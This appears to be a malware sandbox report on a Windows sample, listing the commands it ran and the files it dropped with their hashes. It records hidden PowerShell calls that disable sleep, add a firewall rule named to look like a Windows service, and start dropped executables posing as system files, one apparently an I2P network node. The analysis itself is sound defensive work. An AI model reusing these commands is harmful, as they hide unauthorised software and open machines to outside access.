C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-ac" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-dc" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-ac" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4176

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-ac 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-dc" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-dc 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3872

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "winnet.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "winnet.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1312

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "wincfg.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1560

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "wincfg.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Remove-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "New-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\"" "-Program" "\"C:\Windows\system32\winnet.exe\"" "-Action" "Allow" "-Direction" "Inbound" "-EdgeTraversalPolicy" "Allow" "-Enabled" "True"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2444

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2512

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3904

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3536

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4904

C:\WINDOWS\SYSTEM32\WINCFG.EXE
"C:\WINDOWS\SYSTEM32\WINCFG.EXE"
2⤵
- Executes dropped EXE
PID:3552

C:\WINDOWS\SYSTEM32\WINNET.EXE
"C:\WINDOWS\SYSTEM32\WINNET.EXE" "--datadir=C:\Windows\system32\data" "--precomputation.elgamal=false" "--persist.profiles=false" "--persist.addressbook=false" "--cpuext.aesni" "--cpuext.avx" "--ipv4" "--ipv6" "--bandwidth=X" "--share=100" "--floodfill" "--nat" "--upnp.enabled=true" "--upnp.name=Microsoft" "--insomnia" "--nettime.enabled=true" "--nettime.ntpsyncinterval=1" "--sam.enabled=true" "--sam.singlethread=false" "--http.enabled=false" "--bob.enabled=false" "--httpproxy.enabled=false" "--socksproxy.enabled=false" "--i2cp.enabled=false" "--i2pcontrol.enabled=false" "--loglevel=none" "--log=stdout"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:4600

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
5ba388a6597d5e09191c2c88d2fdf598

SHA1
13516f8ec5a99298f6952438055c39330feae5d8

SHA256
e6b6223094e8fc598ad12b3849e49f03a141ccd21e0eaa336f81791ad8443eca

SHA512
ead2a2b5a1c2fad70c1cf570b2c9bfcb7364dd9f257a834eb819e55b8fee78e3f191f93044f07d51c259ca77a90ee8530f9204cbae080fba1d5705e1209f5b19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zy5clix3.zj4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-3c749898b82cad66\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
Filesize
41.6MB

MD5
312c3e03890f7d5242fe2158acabd4e8

SHA1
d148cf18f876b55c03f2718bfff321b7d6287f87

SHA256
6ac290f077cd4228dff7dc37a4c37e0a675207ad345543e8cd01008ce67ea751

SHA512
da0e5c199a7ab586a17dd7b74cc4b6727ac5c9efcb3397b45f8806a6418c20bfc7515804ca10e2a9c52b207b56f3a56c86e3c3be646ffe27f988c59b0bc66971

Download Submit
C:\Windows\System32\data\router.info
Filesize
931B

MD5
a462f220860d6c420bc57945ec1b369b

SHA1
90f9d54ab70158dd69ef6c7adfb0024004a2d1eb

SHA256
b4e3984f04a69bd4501b1ab4cdbeb9c866e0614daa316ce6819884bb8e913561

SHA512
6ba6690daeb90a91f24a7f4c7fd5ae2df5d6df3a18796168b59e352a05536ca7964c04008395533de914e820eb2934deb11936df3a0921cab3db27ccf49c4c5c

Download Submit
C:\Windows\System32\wincfg.exe
Filesize
34.1MB

MD5
cd89e8bcf1dbd9fc74f86c82e7f86342

SHA1
a3c83b002d1959507ea04c099eb64965e054819b

SHA256
593600fd2242a51c5eef3f33d7c0df33e01f3b71f065faf403298898ef378a21

SHA512
0f8fc35ead17930b2741771b15ec97a85b26db3e8a56e68ba67bea53e0e954af0754e79f22c31bbe8f52564759d456281d4fccb1a645d120f2dd938c88e00ab2

Download Submit
C:\Windows\System32\winnet.exe
Filesize
9.1MB

MD5
2fdbf4ba6ab24cf44aa0cc08cd77ca66

SHA1
df5e034ba45a932b9f5d3ed7adc4a71e0b376984

SHA256
fcd362e0632b35dad13a87f09ea6da4d07fa89516f42d64236d2cc3e3b2b725b

SHA512
81d73f7540ede7337922dc18fc6b110c87f621bc0349c3fa17f50d1cb924b0d9b30a4a772b2d548238b65a1be43d458f1991320e7308e608c6cf40ccc3e59a51

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
dbbd2d4458d7e8094846420da595dfc3

SHA1
267cb47b904f14a519d2bd73abfdb30e1a06e1a6

SHA256
e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4

SHA512
480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f2dd68ab8e611f0143c6ad176f223ae9

SHA1
30f580175773f251a9572fe757de6eaef6844abc

SHA256
f935809085e90f8fc2c003afb46e81de28f3312ec097cf46f2bdc2488cb893e7

SHA512
f664b850c2fc6773e48171be5c180d8bc5c3a27945f5e6604605006a3c93e0bf3a516b647d6411a4d6b75bdf0a5e15b4f3621bf5702bbc3c46f9b517cb69dd04

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
ffac5be2fbee5585d8814e867c1b0fa8

SHA1
b050ba621770b9b19a0724e9f0b733126d2be484

SHA256
ada158a1a5acf96f496879286e1354f8be86201c8d5329712cc52836f2ade906

SHA512
5a727e8fda75ce9bcedb0811aa75572eb77c1f79e80919790b8cb2e137e589ca2148f34ebc7820b7421cad59a16327985a489ffbc0cdf984861cdf112301ed1d

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
db58473f1c8de0535150b143e0f83032

SHA1
c876f77f6fcea039bb1833fe1194439d018d61b3

SHA256
cf2c716974160473d141b5e6f59da185d555608a51c546a6b54110de61bfa70c

SHA512
f168b906f6bedb9f045a3fd1fc4f93465f45ddd2a717f38a9c7163499f9851802619f33565009e225e6754908db08c0601949e475e159b1b3a93051247759ed0

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
53fbb36e3de882ade26ea8b023b9a6ce

SHA1
ff48acf3b1475f0933c950856f58aebb26ca4af9

SHA256
c1ed4103218a9267eb4c0266f7a5d599950aa178523cc33357e49b727bb65130

SHA512
a2536a0500b3075e9f87ea66fee73061d6660af246637d04cfb7d80d51ddaa35692682a08663c21db9533cecc0e140a6b610d8656cc1aa02d3969b5d2a83f2c9

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
b680078f8f3eebef30aa416a5c6cde3e

SHA1
f0a81dbe9678bde16f1c21108bc0e7c76d712def

SHA256
740a2911a17db45b27ad7cdf3b240e6320be79204f096f6caae535c9179cdddd

SHA512
a3cb38dcda920bd6565c0ece10a4c5270bf665e660dd05fff322421a236e1e67ff88c4b82c90e397307e4d21eeee46ff789fe5defe2ef92c3e8f2d0c8ccfd758

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
e16230c01991373e9431ebee63505e40

SHA1
352ff273303185e7fd3e1c7b8bdec40b5315b3c3

SHA256
07632f6f4a596d9119a5c4fde348a9b6c001646849c2409937c42d45e5abc77d

SHA512
99f240645697825aefaa83d7928044475e5f7866370eedc9ed1dff7891725ec052d974c0a1bf5245367f29774c3694090b2b03f89c0d0270d8cf1eefb30fa034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9e9cde84e97360fb39f64e3697c25587

SHA1
02f67f54c54a08320a5331e464dc77b2816fbc97

SHA256
1bdc4f0e8c0845ba527337f1e791da5873c34dff15eb33c71a5aba89e4db4c80

SHA512
c719f5adf610599f0e57df5241da9b3fb595839fcbf955acbf4007ebc75d400916cec75cf9f24f72be6118237641c7800ae9b4c28b585b71a63d02a5789ca044

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8be843388da64ecf2afcc33faa0b9d59

SHA1
6be7b49d97936a9aaaca35d5974ba4cdf9af2104

SHA256
4671b556fa107608ada0682304bf07844cef99e87166690ebde6803784ecb975

SHA512
575249e175099653b14a85a4013ed59c25da08ae4584788c02fa02f0c351fc96bfa2018ddf68ed3d13119278a52dc34954c0fe59e6fbc824f4fff7db73f2c5e5

Download Submit
memory/1660-86-0x00000244F0690000-0x00000244F06AC000-memory.dmp

Filesize
112KB

Download
memory/1660-88-0x00000244F0680000-0x00000244F068A000-memory.dmp

Filesize
40KB

Download
memory/1660-93-0x00000244F0A00000-0x00000244F0A06000-memory.dmp

Filesize
24KB

Download
memory/1660-92-0x00000244F09D0000-0x00000244F09D8000-memory.dmp

Filesize
32KB

Download
memory/1660-91-0x00000244F0A20000-0x00000244F0A3A000-memory.dmp

Filesize
104KB

Download
memory/1660-90-0x00000244F09C0000-0x00000244F09CA000-memory.dmp

Filesize
40KB

Download
memory/1660-89-0x00000244F09E0000-0x00000244F09FC000-memory.dmp

Filesize
112KB

Download
memory/1660-94-0x00000244F0A10000-0x00000244F0A1A000-memory.dmp

Filesize
40KB

Download
memory/1660-87-0x00000244F06B0000-0x00000244F0763000-memory.dmp

Filesize
716KB

Download
memory/3320-200-0x00000256A9CA0000-0x00000256A9CAE000-memory.dmp

Filesize
56KB

Download
memory/3320-201-0x00000256A9F40000-0x00000256A9F5A000-memory.dmp

Filesize
104KB

Download
memory/3320-199-0x00000256A9BD0000-0x00000256A9C83000-memory.dmp

Filesize
716KB

Download
memory/3888-65-0x00007FF634190000-0x00007FF6341A0000-memory.dmp

Filesize
64KB

Download
memory/3888-64-0x00007FF634180000-0x00007FF634190000-memory.dmp

Filesize
64KB

Download
memory/4600-262-0x00007FF6165E0000-0x00007FF616F0C000-memory.dmp

Filesize
9.2MB

Download
memory/4816-21-0x000001E2E2FE0000-0x000001E2E3002000-memory.dmp

Filesize
136KB

Download